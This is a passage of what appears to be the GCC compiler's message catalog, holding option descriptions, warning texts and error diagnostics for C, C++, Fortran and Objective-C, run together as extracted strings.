indirect CALLXn instructions for large programsUse indirect callsUse inline patterns for copying memoryUse jsr and rts for function calls and returnsUse jump tables for sufficiently large switch statementsUse little-endian byte orderUse little-endian format for unformatted filesUse ll, sc and sync instructionsUse media instructionsUse multiply add/subtract instructionsUse n as character line width in fixed modeUse n as character line width in free modeUse native (MS) bitfield layoutUse native format for unformatted filesUse new mnemonics for PowerPC architectureUse normal calling conventionUse of -fdefault-double-8 requires -fdefault-real-8Use of intrinsic module '%s' at %C conflicts with non-intrinsic module name used previouslyUse of non-intrinsic module '%s' at %C conflicts with intrinsic module name used previouslyUse of the NUMERIC_STORAGE_SIZE named constant from intrinsic module ISO_FORTRAN_ENV at %C is incompatible with option %sUse of the NUMERIC_STORAGE_SIZE named constant from intrinsic module ISO_FORTRAN_ENV at %L is incompatible with option %sUse offset tables for virtual method callsUse old mnemonics for PowerPC architectureUse only one TOC entry per procedureUse packed stack layoutUse paired-single floating-point instructionsUse portable calling conventionsUse profiling information for branch probabilitiesUse propolice as a stack protection methodUse push instructions to save outgoing argumentsUse red-zone in the x86-64 codeUse register stack for parameters and return valueUse registers for argument passingUse registers r2 and r5Use rjmp/rcall (limited range) on >8K devicesUse shared librariesUse simple data speculation checkUse simple data speculation check for control speculationUse simulator runtimeUse software floating pointUse stack biasUse standard main function as entry for startupUse structs on stronger alignment for double-word copiesUse stubs for function prologuesUse subroutines for function prologues and epiloguesUse the Cray Pointer extensionUse the Cygwin interfaceUse the DEC assembler syntaxUse the RTL dead code elimination passUse the RTL dead store elimination passUse the bit-field instructionsUse the divide instructionUse the mips-tfile postpassUse the most feature-enabling options allowed by other optionsUse the narrowest integer type possible for enumeration typesUse the same size for double as for floatUse traditional GNU semantics for inline functionsUse trap instructions to check for integer divide by zeroUse uClibc instead of GNU libcUse zero-extending memory loads, not sign-extending onesUsed in Fix-and-Continue mode to indicate that object files may be swapped in at runtimeUser defined non-ELEMENTAL function '%s' at %L not allowed in WORKSHARE constructUser operator '%s' referenced at %L not found in module '%s'User operator procedure '%s' at %L cannot be assumed character lengthUser operator procedure '%s' at %L must be a FUNCTIONUser operator procedure '%s' at %L must have at least one argumentUsing IBM extended precision long doubleUsing IEEE extended precision long doubleUsing built-in specs.
Using darwin64 ABIUsing old darwin ABIVOIDmode on an outputVariable %s cannot be INTENT(IN) at %CVariable %s cannot be assigned in PURE procedure at %CVariable '%s' at %C cannot be redefined inside loop beginning at %LVariable '%s' at %C with an initializer already appears in a DATA statementVariable '%s' at %L cannot be BIND(C) because it is neither a COMMON block nor declared at the module level scopeVariable '%s' at %L cannot have both the ALLOCATABLE and BIND(C) attributesVariable '%s' at %L cannot have both the POINTER and BIND(C) attributesVariable '%s' at %L cannot have the ALLOCATABLE attribute because procedure '%s' is BIND(C)Variable '%s' at %L cannot have the OPTIONAL attribute because procedure '%s' is BIND(C)Variable '%s' at %L cannot have the POINTER attribute because procedure '%s' is BIND(C)Variable '%s' at %L has not been assigned a format labelVariable '%s' at %L in common block '%s' at %C must be declared with a C interoperable kind since common block '%s' is bind(c)Variable '%s' at %L in this context must be constantVariable '%s' at %L is a parameter to the BIND(C) procedure '%s' but may not be C interoperableVariable '%s' at %L is in COMMON but only in BLOCK DATA initialization is allowedVariable '%s' at %L may not be a C interoperable kind but it is bind(c)Variable '%s' cannot appear in the expression at %LVariable '%s' has not been assigned a target label at %LVariable '%s' in %s clause is used in NAMELIST statement at %LVariable '%s' in common block '%s' at %C can not be bind(c) since it is not globalVariable '%s' in common block '%s' at %C must be declared with a C interoperable kind since common block '%s' is BIND(C)Variable '%s' in common block '%s' at %L cannot be declared with BIND(C) since it is not a globalVariable '%s' in common block '%s' at %L may not be a C interoperable kind though common block '%s' is BIND(C)Variable '%s' in input list at %C cannot be INTENT(IN)Variable '%s' is used at %L before the ENTRY statement in which it is a parameterVariable '%s', used in a specification expression, is referenced at %L before the ENTRY statement in which it is a parameterVariable type is UNKNOWN in assignment at %LVector assignment to assumed-size Cray Pointee at %L is illegalVector library ABI to useWAIT statement not allowed in PURE procedure at %CWHERE assignment target at %L has inconsistent shapeWHERE mask at %L has inconsistent shapeWHERE/ELSEWHERE clause at %L requires a LOGICAL arrayWarn about "extern" declarations not at file scopeWarn about "suspicious" constructsWarn about @selector()s without previously declared methodsWarn about C constructs that are not in the common subset of C and C++Warn about C++ constructs whose meaning differs between ISO C++ 1998 and ISO C++ 200xWarn about NULL being passed to argument slots marked as requiring non-NULLWarn about PCH files that are found but not usedWarn about alignment of COMMON blocksWarn about all enumerated switches missing a specific caseWarn about an empty body in an if or else statementWarn about calls with implicit interfaceWarn about casting functions to incompatible typesWarn about casts which discard qualifiersWarn about code that will never be executedWarn about code which might break strict aliasing rulesWarn about comparison of different enum typesWarn about compile-time integer division by zeroWarn about constructs not instrumented by -fmudflapWarn about creation of array temporariesWarn about deprecated 'vector long ...' AltiVec type usageWarn about enumerated switches missing a "default:" statementWarn about enumerated switches, with no default, missing a caseWarn about features not present in traditional CWarn about format strings that are not literalsWarn about format strings that contain NUL bytesWarn about function parameters declared without a type specifier in K&R-style functionsWarn about function pointer arithmeticWarn about functions which might be candidates for __attribute__((noreturn))Warn about functions which might be candidates for format attributesWarn about global functions without previous declarationsWarn about global functions without prototypesWarn about implicit function declarationsWarn about inappropriate attribute usageWarn about invalid uses of the "offsetof" macroWarn about macros defined in the main file that are not usedWarn about missing ampersand in continued character constantsWarn about missing fields in struct initializersWarn about misuses of pragmasWarn about multiple declarations of the same objectWarn about non-normalised Unicode stringsWarn about non-virtual destructorsWarn about none ISO msvcrt scanf/printf width extensionsWarn about optimizations that assume that signed overflow is undefinedWarn about overflow in arithmetic expressionsWarn about overloaded virtual function namesWarn about overriding initializers without side effectsWarn about packed bit-fields whose offset changed in GCC 4.4Warn about pointer casts which increase alignmentWarn about possible aliasing of dummy argumentsWarn about possible security problems with format functionsWarn about possible violations of sequence point rulesWarn about possibly missing braces around initializersWarn about possibly missing parenthesesWarn about possibly nested block comments, and C++ comments spanning more than one physical lineWarn about printf/scanf/strftime/strfmon format string anomaliesWarn about returning structures, unions or arraysWarn about signed-unsigned comparisonsWarn about stray tokens after #elif and #endifWarn about strftime formats yielding 2-digit yearsWarn about subscripts whose type is "char"Warn about suspicious declarations of "main"Warn about suspicious uses of memory addressesWarn about things that will change when compiling with an ABI-compliant compilerWarn about truncated character expressionsWarn about truncated source linesWarn about uncasted NULL used as sentinelWarn about underflow of numerical constant expressionsWarn about uninitialized automatic variablesWarn about unprototyped function declarationsWarn about unrecognized pragmasWarn about use of multi-character character constantsWarn about user-specified include directories that do not existWarn about uses of __attribute__((deprecated)) declarationsWarn about variables that might be changed by "longjmp" or "vfork"Warn about variables which are initialized to themselvesWarn about violations of Effective C++ style rulesWarn about zero-length formatsWarn for implicit type conversions between signed and unsigned integersWarn for implicit type conversions that may change a valueWarn for obsolescent usage in a declarationWarn if .class files are out of dateWarn if a C-style cast is used in a programWarn if a comparison is always true or always false due to the limited range of the data typeWarn if a deprecated compiler feature, class, method, or field is usedWarn if a function uses alloca or creates an array with dynamic sizeWarn if a selector has multiple methodsWarn if a single function's framesize exceeds the given framesizeWarn if a string is longer than the maximum portable length specified by the standardWarn if a user-procedure has the same name as an intrinsicWarn if a variable length array is usedWarn if an array is accessed out of boundsWarn if an object is larger than <number> bytesWarn if an old-style parameter definition is usedWarn if an undefined macro is used in an #if directiveWarn if deprecated empty statements are foundWarn if inherited methods are unimplementedWarn if modifiers are specified when not necessaryWarn if passing too many arguments to a function for its format stringWarn if testing floating point numbers for equalityWarn if the loop cannot be optimized due to nontrivial assumptions.Warn if trigraphs are encountered that might affect the meaning of the programWarn if type signatures of candidate methods do not match exactlyWarn instead of error in case profiles in -fprofile-use do not matchWarn of prototypes causing type conversions different from what would happen in the absence of prototypeWarn on intrinsics not part of the selected standardWarn when __sync_fetch_and_nand and __sync_nand_and_fetch built-in functions are usedWarn when a Cell microcoded instruction is emittedWarn when a built-in preprocessor macro is undefined or redefinedWarn when a declaration does not specify a typeWarn when a declaration is found after a statementWarn when a function is unusedWarn when a function parameter is unusedWarn when a label is unusedWarn when a logical operator is suspicously always evaluating to true or falseWarn when a pointer differs in signedness in an assignmentWarn when a pointer is cast to an integer of a different sizeWarn when a register variable is declared volatileWarn when a stackframe is larger than the specified sizeWarn when a variable is unusedWarn when all constructors and destructors are privateWarn when an expression value is unusedWarn when an inlined function cannot be inlinedWarn when an optimization pass is disabledWarn when converting the type of pointers to member functionsWarn when non-templatized friend functions are declared within a templateWarn when not issuing stack smashing protection for some reasonWarn when one local variable shadows anotherWarn when overload promotes from unsigned to signedWarn when padding is required to align structure membersWarn when the compiler reorders codeWarn when the packed attribute has no effect on struct layoutWarn when there is a cast to a pointer from an integer of a different sizeWarn whenever a function's return type defaults to "int" (C), or about inconsistent return types (C++)Warn whenever an Objective-C assignment is being intercepted by the garbage collectorWarn whenever type qualifiers are ignored.Warning:Warning: Using -M <directory> is deprecated, use -J instead
When "signed" or "unsigned" is not given make the bitfield signedWhen "signed" or "unsigned" is not given make the bitfield unsignedWhen generating -mabicalls code, allow executables to use PLTs and copy relocationsWhen generating -mabicalls code, make the code suitable for use in shared librariesWhen possible do not generate stack framesWhen running CSE, follow conditional jumpsWhen running CSE, follow jumps to their targetsWhen set to 1, use expensive methods to eliminate all redundant constraintsWhether to use canonical typesWhile setting up signal handler: %mWhile setting up signal stack: %mWithout padding, there are not enough elements in the intrinsic RESHAPE source at %L to match the shapeWork around VR4130 mflo/mfhi errataWork around a hardware anomaly by adding a number of NOPs before aWork around an early 4300 hardware bugWork around bug in multiplication instructionWork around certain R10000 errataWork around certain R4000 errataWork around certain R4400 errataWork around certain VR4120 errataWork around errata for early SB-1 revision 2 coresWork around hardware multiply bugWrite dependency output to the given fileWriting module %s at line %d column %d: %sWrong list of exited loops for edge  %d->%dWrong module version '%s' (expected 'XXX entering pop_everything ()
XXX is_class_level != (current_scope == class_scope)
XXX leaving pop_everything ()
Zero is not a valid statement label at %CZero width in format descriptor[Leaving %s]
[cannot find %s][disabled][enabled][super ...] must appear in a method context__BELOW100__ attribute not allowed with auto storage class__builtin_eh_return not supported on this target__builtin_saveregs not supported by this subtarget__builtin_saveregs not supported by this target__is_convertible_to__label__ declarations are only allowed in function scopes``%s' attribute applies only to functions`%s' attribute argument not an integer constant`%s' attribute argument should be between 0 to 255`%s' attribute argument should be between 18 to 255`%s' attribute cannot be specified for local variables`%s' attribute ignored`%s' attribute is not supported for R8C target`%s' attribute only applies to functions`%s' attribute only applies to variablesa cast to a type other than an integral or enumeration type cannot appear in a constant-expressiona label can only be part of a statement and a declaration is not a statementa member of a structure or union cannot have a variably modified typea parameter list with an ellipsis can%'t match an empty parameter name list declarationa storage class can only be specified for objects and functionsa using-declaration cannot specify a template-id.  Try %<using %D%>abnormal edges for no purpose in bb %iabort in %s, at %s:%dabstract declarator %qT used as declarationaccumulator is not a constant integeraccumulator number is out of boundsaddress area of %q+D conflicts with previous declarationaddress of explicit register variable %qD requestedaddress of global register variable %qD requestedaddress of global register variable %qs requestedaddress of local variable %q+D returnedaddress of register variable %qD requestedaddress of register variable %qs requestedaddress offset not a constantaddress operand requires constraint for X, Y, or Z registeraddress requested for %qD, which is declared %<register%>address taken, but ADDRESSABLE bit not setafter previous declaration %q+Dafter previous specification in %q+#Daggregate %q#D has incomplete type and cannot be definedaggregate value used where a complex was expectedaggregate value used where a fixed-point was expectedaggregate value used where a float was expectedaggregate value used where an integer was expectedalias argument not a stringalias definitions not supported in Mach-O; ignoredalignment (%u) for %s exceeds maximum alignment for global common data.  Using %ualignment for %q+D must be at least %dalignment for %q+D was previously specified as %d and may not be decreasedalignment may not be specified for %q+Dalignment must be a small power of two, not %dalignment of %q+D is greater than maximum object file alignment.  Using %dalignment of array elements is greater than element sizeall member functions in class %qT are privatealloc_size parameter outside rangeambiguates built-in declaration %q#Dambiguates old declaration %q+#Dambiguous abbreviation %sambiguous class template instantiation for %q#Tambiguous conversion for array subscriptambiguous default type conversion from %qTambiguous template specialization %qD for %q+Dan argument type that has a default promotion can%'t match an empty parameter name list declarationanachronism: anachronistic old-style base class initializeranonymous %s declared inside parameter listanonymous struct not inside named typeanonymous union with no membersapplying #pragma weak %q+D after first use results in unspecified behaviorargs to be formatted is not %<...%>argument %d of %qE might be a candidate for a format attributeargument %q+D might be clobbered by %<longjmp%> or %<vfork%>argument %qD doesn%'t match built-in prototypeargument %qD doesn%'t match prototypeargument %qd is not a constantargument %qs to %<-Wnormalized%> not recognizedargument %qs to %<-femit-struct-debug-detailed%> not recognizedargument %qs to %<-femit-struct-debug-detailed%> unknownargument 1 must be a 5-bit signed literalargument 1 of __builtin_altivec_predicate is out of rangeargument 1 of __builtin_altivec_predicate must be a constantargument 1 of __builtin_paired_predicate is out of rangeargument 1 of __builtin_paired_predicate must be a constantargument 1 of __builtin_spe_predicate is out of rangeargument 1 of __builtin_spe_predicate must be a constantargument 2 must be a 5-bit unsigned literalargument 3 must be a 4-bit unsigned literalargument dependent lookup finds %q+Dargument must be a constantargument of %<__builtin_args_info%> must be constantargument of %<__builtin_args_info%> out of rangeargument of %<__builtin_eh_return_regno%> must be constantargument of %qs attribute is not "ilink1" or "ilink2"argument of %qs attribute is not a string constantargument of function call might be a candidate for a format attributeargument of type %qT does not match %qTargument to "%s" should be a non-negative integerargument to %qs attribute larger than %dargument to %qs must be a 2-bit unsigned literalargument to '%s' missingargument to '%s' missing
argument to '-%s' is missingargument to '-B' is missingargument to '-Xassembler' is missingargument to '-Xlinker' is missingargument to '-Xpreprocessor' is missingargument to '-l' is missingargument to '-specs' is missingargument to '-specs=' is missingargument to '-wrapper' is missingargument to '-x' is missingargument to decltype must be an expressionargument to dss must be a 2-bit unsigned literalarguments to destructor are not allowedarithmetic IFarithmetic on pointer to an incomplete typearray %q+D assumed to have one elementarray %qD initialized by parenthesized string literal %qEarray assignmentarray bound is not an integer constantarray does not match the region treearray index in initializer exceeds array boundsarray index in initializer not of integer typearray index in non-array initializerarray index range in initializer exceeds array boundsarray initialized from non-constant array expressionarray initialized from parenthesized string constantarray must be initialized with a brace-enclosed initializerarray of inappropriate type initialized from string constantarray size missing in %q+Darray size missing in %qDarray subscript has type %<char%>array subscript is not an integerarray type has incomplete element typearray used as initializerarrays of functions are not meaningfulas %qDasm clobber conflict with input operandasm clobber conflict with output operandasm declaration ignored due to conflict with previous renameasm operand %d probably doesn%'t match constraintsasm-specifier for variable %qs conflicts with asm clobber listassert: %s is assign compatible with %sassertion missing after %qsassignmentassignment (not initialization) in declarationassignment discards qualifiers from pointer target typeassignment from distinct Objective-C typeassignment from incompatible pointer typeassignment left-hand side might be a candidate for a format attributeassignment makes integer from pointer without a castassignment makes pointer from integer without a castassignment makes qualified function pointer from unqualifiedassignment of read-only location %qEassignment of read-only member %qDassignment of read-only variable %qDassignment suppressionassignment to final field %q+D not in field's classassuming cast to type %qT from overloaded functionassuming pointer to member %qDassuming signed overflow does not occur when combining constants around a comparisonassuming signed overflow does not occur when negating a divisionassuming signed overflow does not occur when reducing constant in comparisonassuming signed overflow does not occur when simplifying && or || to & or |assuming signed overflow does not occur when simplifying ==, != or ! to identity or ^assuming signed overflow does not occur when simplifying conditionalassuming signed overflow does not occur when simplifying conditional to constantassuming signed overflow does not occur when simplifying range testassuming that the loop counter does not overflowassuming that the loop is not infiniteat this point in fileattempt to take address of bit-field structure member %qDattribute declarationattribute for %q+#T must follow the %qs keywordattribute ignored in declaration of %q+#Tattribute interrupt_handler is not compatible with -m5-compactattribute(target("%s")) is unknownattributes after parenthesized initializer ignoredattributes ignored on elaborated-type-specifier that is not a forward declarationattributes ignored on template instantiationattributes ignored on uninstantiated typeattributes in parameter array declarator ignoredautomatic variable %qE cannot be %<threadprivate%>aux field set for edge %s->%sbackend decl for module variable %s already existsbad PC range for debug info for local %q+Dbad addressbad address, not (reg+disp):bad address, not post_inc or pre_dec:bad amount of stack space removal: %dbad array initializerbad builtin codebad builtin fcodebad condition codebad expression type during walk (%d)bad format of .zip/.jar archive
bad insn for 'A'bad insn in frv_print_operand, 0 casebad insn in frv_print_operand, bad const_doublebad insn in frv_print_operand, z casebad insn to frv_print_operand, 'F' modifier:bad insn to frv_print_operand, 'L' modifier:bad insn to frv_print_operand, 'M/N' modifier:bad insn to frv_print_operand, 'O' modifier:bad insn to frv_print_operand, 'e' modifier:bad insn to frv_print_operand, 'f' modifier:bad insn to frv_print_operand, 'g' modifier:bad insn to frv_print_operand, P modifier:bad insn to frv_print_operand_address:bad insn to frv_print_operand_memory_reference:bad method signaturebad output_condmove_single operandbad output_move_double operandbad output_move_single operandbad pc in exception_tablebad registerbad register to frv_print_operand_memory_reference_reg:bad shift insn:bad string constantbad testbad type in parameter debug infobad value %<%s%> for -mtls-size= switchbad value %<%s%> for -mtune= switchbad value %qs for -mcpu switchbad value %qs for -mfp-rounding-mode switchbad value %qs for -mfp-trap-mode switchbad value %qs for -mmemory-latencybad value %qs for -mtls-size switchbad value %qs for -mtrap-precision switchbad value (%s) for %s switchbad value (%s) for %sarch=%s %sbad value (%s) for %sasm=%s %sbad value (%s) for %scmodel=%s %sbad value (%s) for %sfpmath=%s %sbad value (%s) for %sstringop-strategy=%s %sbad value (%s) for %stls-dialect=%s %sbad value (%s) for %stune=%s %sbad value (%s) for -mcmodel= switchbad value constant type %d, index %dbad value for -mcall-%sbad value for -msdata=%sbad zip/jar file %sbadly nested C headers from preprocessorbarrier region may not be closely nested inside of work-sharing, critical, ordered, master or explicit task regionbase %qT will be initialized afterbase class %q#T has a non-virtual destructorbase class %qT has cv qualifiersbase initializer expansion %<%T%> contains no parameter packsbase operand of %<->%> has non-pointer type %qTbase operand of %<->%> is not a pointerbase type %qT fails to be a struct or class typebasic block %d pred edge is corruptedbasic block %d should be marked irreduciblebasic block %d should not be marked irreduciblebasic block %i edge lists are corruptedbasic blocks not laid down consecutivelybb %d do not belong to loop %dbb %d on wrong placebit-field %q+#D with non-integral typebit-field %q+D width not an integer constantbit-field %qD with non-integral typebit-field %qs has invalid typebit-field %qs width not an integer constantblock IFbogus DISPOSE construction: %dbogus JARL construction: %d
bogus JR construction: %dbogus PREPEARE construction: %dboolean registers required for the floating-point optionboth %<_Sat%> and %<%s%> in declaration specifiersboth %<_Sat%> and %<_Bool%> in declaration specifiersboth %<_Sat%> and %<_Decimal128%> in declaration specifiersboth %<_Sat%> and %<_Decimal32%> in declaration specifiersboth %<_Sat%> and %<_Decimal64%> in declaration specifiersboth %<_Sat%> and %<char%> in declaration specifiersboth %<_Sat%> and %<complex%> in declaration specifiersboth %<_Sat%> and %<double%> in declaration specifiersboth %<_Sat%> and %<float%> in declaration specifiersboth %<_Sat%> and %<int%> in declaration specifiersboth %<_Sat%> and %<void%> in declaration specifiersboth %<complex%> and %<%s%> in declaration specifiersboth %<complex%> and %<_Accum%> in declaration specifiersboth %<complex%> and %<_Bool%> in declaration specifiersboth %<complex%> and %<_Decimal128%> in declaration specifiersboth %<complex%> and %<_Decimal32%> in declaration specifiersboth %<complex%> and %<_Decimal64%> in declaration specifiersboth %<complex%> and %<_Fract%> in declaration specifiersboth %<complex%> and %<_Sat%> in declaration specifiersboth %<complex%> and %<void%> in declaration specifiersboth %<long long%> and %<%s%> in declaration specifiersboth %<long long%> and %<double%> in declaration specifiersboth %<long%> and %<%s%> in declaration specifiersboth %<long%> and %<_Bool%> in declaration specifiersboth %<long%> and %<_Decimal128%> in declaration specifiersboth %<long%> and %<_Decimal32%> in declaration specifiersboth %<long%> and %<_Decimal64%> in declaration specifiersboth %<long%> and %<char%> in declaration specifiersboth %<long%> and %<float%> in declaration specifiersboth %<long%> and %<short%> in declaration specifiersboth %<long%> and %<void%> in declaration specifiersboth %<short%> and %<%s%> in declaration specifiersboth %<short%> and %<_Bool%> in declaration specifiersboth %<short%> and %<_Decimal128%> in declaration specifiersboth %<short%> and %<_Decimal32%> in declaration specifiersboth %<short%> and %<_Decimal64%> in declaration specifiersboth %<short%> and %<char%> in declaration specifiersboth %<short%> and %<double%> in declaration specifiersboth %<short%> and %<float%> in declaration specifiersboth %<short%> and %<void%> in declaration specifiersboth %<signed%> and %<%s%> in declaration specifiersboth %<signed%> and %<_Bool%> in declaration specifiersboth %<signed%> and %<_Decimal128%> in declaration specifiersboth %<signed%> and %<_Decimal32%> in declaration specifiersboth %<signed%> and %<_Decimal64%> in declaration specifiersboth %<signed%> and %<double%> in declaration specifiersboth %<signed%> and %<float%> in declaration specifiersboth %<signed%> and %<unsigned%> in declaration specifiersboth %<signed%> and %<void%> in declaration specifiersboth %<unsigned%> and %<%s%> in declaration specifiersboth %<unsigned%> and %<_Bool%> in declaration specifiersboth %<unsigned%> and %<_Decimal128%> in declaration specifiersboth %<unsigned%> and %<_Decimal32%> in declaration specifiersboth %<unsigned%> and %<_Decimal64%> in declaration specifiersboth %<unsigned%> and %<double%> in declaration specifiersboth %<unsigned%> and %<float%> in declaration specifiersboth %<unsigned%> and %<void%> in declaration specifiersboth arguments to %<__builtin___clear_cache%> must be pointersbraced spec '%s' is invalid at '%c'braced spec body '%s' is invalidbraced-group within expression allowed only inside a functionbraces around scalar initializerbraces around scalar initializer for type %qTbranch %2d never executed
branch %2d taken %s%s
branch target register load optimization is not intended to be run twicebreak statement not within loop or switchbreak statement used with OpenMP for loopbuilt-in function %q+D declared as non-functionbuilt-in function %qs not supported for MIPS16call   %2d never executed
call   %2d returned %s
call edges for non-call insn in bb %icall is unlikely and code size would growcall of %<(%T) (%A)%> is ambiguouscall of overloaded %<%D(%A)%> is ambiguouscall of overloaded %<%s(%A)%> is ambiguouscall to Java %<catch%> or %<throw%> with %<jthrowable%> undefinedcall to Java constructor with %qs undefinedcall to Java constructor, while %<jclass%> undefinedcall to function %qD which throws incomplete type %q#Tcall to function which throws incomplete type %q#Tcall to non-function %qDcall-clobbered register used for global register variablecalled from herecalled object %qE is not a functioncaller edge count is negativecaller edge frequency is negativecaller edge frequency is too largecan not use -mtp=cp15 with 16-bit Thumbcan not use an object as parameter to a methodcan only use %qE attribute on file-scope definitions of objects of class typecan%'t create precompiled header %s: %mcan%'t mix operands of decimal float and complex typescan%'t mix operands of decimal float and other float typescan%'t mix operands of decimal float and vector typescan%'t open %s for writing: %mcan%'t open %s: %mcan%'t read %s: %mcan%'t seek in %s: %mcan%'t write %s: %mcan%'t write to %s: %mcan't apply both longcall and shortcall attributes to the same functioncan't close input file %s: %mcan't convert between vector values of different sizecan't convert from incomplete type %qT to %qTcan't convert value to a vectorcan't create repository information file %qscan't define friend function %qs in a local class definitioncan't do dependency tracking with input from stdincan't extend PCH file: %mcan't find %<class$%> in %qTcan't find a register in class %qs while reloading %<asm%>can't get position in PCH file: %mcan't get program statuscan't initialize friend function %qscan't make %qD into a method -- not in a classcan't open %s: %mcan't open input file: %scan't open ldd outputcan't open nm outputcan't read PCH file: %mcan't seek PCH file: %mcan't set position in PCH file: %mcan't specify '-D' without '--main'
can't use '%s' as a %s registercan't write PCH filecan't write PCH file: %mcan't write padding to PCH file: %mcandidate 1:candidate 2:candidate is: %+#Dcandidates are:candidates are: %+#Dcannot allocate an object of abstract type %qTcannot apply %<offsetof%> to destructor %<~%T%>cannot apply %<offsetof%> to member function %qDcannot apply %<offsetof%> to static data member %qDcannot apply %<offsetof%> when %<operator[]%> is overloadedcannot apply member pointer %qE to %qE, which is of non-class type %qTcannot bind bitfield %qE to %qTcannot bind packed field %qE to %qTcannot bind rvalue %qE to %qTcannot call member function %qD without objectcannot convert %qE from type %qT to type %qTcannot convert %qT to %qT for argument %qP to %qDcannot convert %qT to %qT in %scannot convert from base %qT to derived type %qT via virtual base %qTcannot convert to a pointer typecannot convert type %qT to type %qTcannot create pointer to reference member %qDcannot create temporary filecannot create type information for type %qT because it involves types of variable sizecannot declare %<::main%> to be a templatecannot declare %<::main%> to be inlinecannot declare %<::main%> to be staticcannot declare %qD to be a bit-field typecannot declare %s to qualified function type %qTcannot declare bit-field %qD with function typecannot declare field %q+D to be of abstract type %qTcannot declare member %<%T::%s%> within %qTcannot declare member function %qD to have static linkagecannot declare parameter %q+D to be of abstract type %qTcannot declare pointer to %q#Tcannot declare pointer to %q#T membercannot declare reference to %q#Tcannot declare reference to %q#T, which is not a typedef or a template type argumentcannot declare static function inside another functioncannot declare variable %q+D to be of abstract type %qTcannot decompose addresscannot decrement a pointer to incomplete type %qTcannot define member function %<%T::%s%> within %<%T%>cannot delete a function.  Only pointer-to-objects are valid arguments to %<delete%>cannot disable built-in function %qscannot do z-register replacementcannot dynamic_cast %qE (of type %q#T) to type %q#T (%s)cannot expand %<%E%> into a fixed-length argument listcannot expand %<%T%> into a fixed-length argument listcannot explicitly declare member %q#D to have extern linkagecannot find '%s'cannot find 'ldd'cannot find 'nm'cannot find class %qscannot find file for class %scannot find interface declaration for %qscannot find interface declaration for %qs, superclass of %qscannot find protocol declaration for %qscannot find reference tag for class %qscannot handle inconsistent calls to %qscannot increment a pointer to incomplete type %qTcannot initialize %qT from %qTcannot initialize aggregate of type %qT with a compound literalcannot initialize arrays using this syntaxcannot initialize multi-dimensional array with initializercannot inline function %<main%>cannot merge separate %s counters for function %ucannot open %scannot optimize loop, the loop counter may overflowcannot optimize possibly infinite loopscannot pass argument in vector register because altivec instructions are disabled, use -maltivec to enable themcannot pass objects of non-POD type %q#T through %<...%>; call will abort at runtimecannot pass rvalue to reference parametercannot put object with volatile field into registercannot receive objects of non-POD type %q#T through %<...%>; call will abort at runtimecannot reload integer constant operand in %<asm%>cannot resolve overloaded function %qD based on conversion to type %qTcannot return from a handler of a function-try-block of a constructorcannot return value in vector register because altivec instructions are disabled, use -maltivec to enable themcannot set interrupt attribute: no current functioncannot set interrupt attribute: no such identifiercannot specify 'main' class when not linkingcannot specify -o with -c or -S with multiple filescannot specify both -C and -ocannot specify both -msep-data and -mid-shared-librarycannot take address of bit-field %qDcannot take the address of %<this%>, which is an rvalue expressioncannot use %<::%> in parameter declarationcannot use mode %qs for enumeral typescannot use mshared and static togethercannot use mthreads and mlegacy-threads togethercannot use small-data accesses for %qscannot use typeid with -fno-rtticannot use va_start in interrupt functioncanonical types differ for identical types %T and %Tcase label does not reduce to an integer constantcase label in scope of identifier with variably modified type not containing enclosing switch statementcase label in statement expression not containing enclosing switch statementcase label not within a switch statementcase label value exceeds maximum value for typecase label value is less than minimum value for typecase labels not sorted: cast adds new qualifiers to function typecast discards qualifiers from pointer target typecast from %qT to %qT increases required alignment of target typecast from %qT to %qT loses precisioncast from function call of type %qT to non-matching type %qTcast from pointer to integer of different sizecast from type %qT to type %qT casts away constnesscast increases required alignment of target typecast specifies array typecast specifies function typecast to pointer from integer of different sizecast to union type from type not present in unioncasting %qT to %qT does not dereference pointerchanges meaning of %qD from %q+#Dchar-array initialized from wide stringchecksum is %x instead of %xchoosing %qD over %qDcircular pointer delegation detectedclass %qT does not have any field named %qDclass %qT is implicitly friends with itselfclass %qT will be considered nearly empty in a future version of GCCclass %qs already existsclass '%s' has no method named '%s' matching signature '%s'cleanup argument not a functioncleanup argument not an identifierclosing dependency file %s: %mcode model %qs not supported in the %s bit modecode model %s does not support PIC modecollapse argument needs positive constant integer expressioncollapsed !$OMP DO loops not perfectly nested at %Lcollapsed loops not perfectly nestedcollect2 version %scollect: reading %s
collect: recompiling %s
collect: relinking
collect: tweaking %s in %s
comma at end of enumerator listcommand line option "%s" is valid for %s but not for %scommand line option %qs is not supported by this configurationcommon symbol debug info is not structured as symbol+offsetcomparing floating point with == or != is unsafecomparison always false due to limited range of data typecomparison always true due to limited range of data typecomparison between %q#T and %q#Tcomparison between pointer and integercomparison between signed and unsigned integer expressionscomparison between types %qT and %qTcomparison is always %dcomparison is always %d due to width of bit-fieldcomparison is always false due to limited range of data typecomparison is always true due to limited range of data typecomparison of complete and incomplete pointerscomparison of distinct Objective-C types lacks a castcomparison of distinct pointer types lacks a castcomparison of promoted ~unsigned with constantcomparison of promoted ~unsigned with unsignedcomparison of unsigned expression < 0 is always falsecomparison of unsigned expression >= 0 is always truecomparison with string literal results in unspecified behaviorcomparison with string literal results in unspecified behaviourcomparisons like %<X<=Y<=Z%> do not have their mathematical meaningcompilation terminated due to -Wfatal-errors.
compilation terminated.
complex floating point overflow in expressioncomplex integer overflow in expressioncomplex invalid for %qscomponent '%s' at %L has already been set by a parent derived type constructorcompound literal has variable sizecompound literal of non-object type %qTconflicting access specifications for field %qE, ignoredconflicting access specifications for method %q+D, ignoredconflicting declaration %q#Dconflicting return type specified for %q+#Dconflicting specifiers in declaration of %qsconflicting super class name %qsconflicting type attributes specified for %q+#Dconflicting type qualifiers for %q+Dconflicting types for %q+Dconflicting types for built-in function %q+Dconflicts with built-in declaration %q#Dconflicts with function declaration %q#Dconflicts with new declaration with %qL linkageconflicts with previous declaration %q+#Dconst %qs cannot be declared %<mutable%>const_double_split got a bad insn:constant argument out of range for %qsconstant logical value in CASE statement is repeated at %Lconstant not recomputed when ADDR_EXPR changedconstructor for alien class %qT cannot be a memberconstructor priorities are not supportedconstructor priorities from 0 to %d are reserved for the implementationconstructor priorities must be integers from 0 to %d inclusiveconstructor syntax used, but no constructor declared for type %qTconstructors cannot be declared virtualcontinue statement not within a loopcontinue statement not within loop or switchcontrol flow in the middle of basic block %dcontrol reaches end of non-void functionconversion from %q#T to %q#Tconversion from %qT to %qT discards qualifiersconversion from %qT to %qT is ambiguousconversion from %qT to non-scalar type %qT requestedconversion lacks type at end of formatconversion of %qE from %qT to %qT is ambiguousconversion of unsigned constant value to negative integerconversion to %qT alters %qT constant valueconversion to %qT from %qT may alter its valueconversion to %qT from %qT may change the sign of the resultconversion to %qT from boolean expressionconversion to %s%s will never use a type conversion operatorconversion to incomplete typeconversion to non-scalar 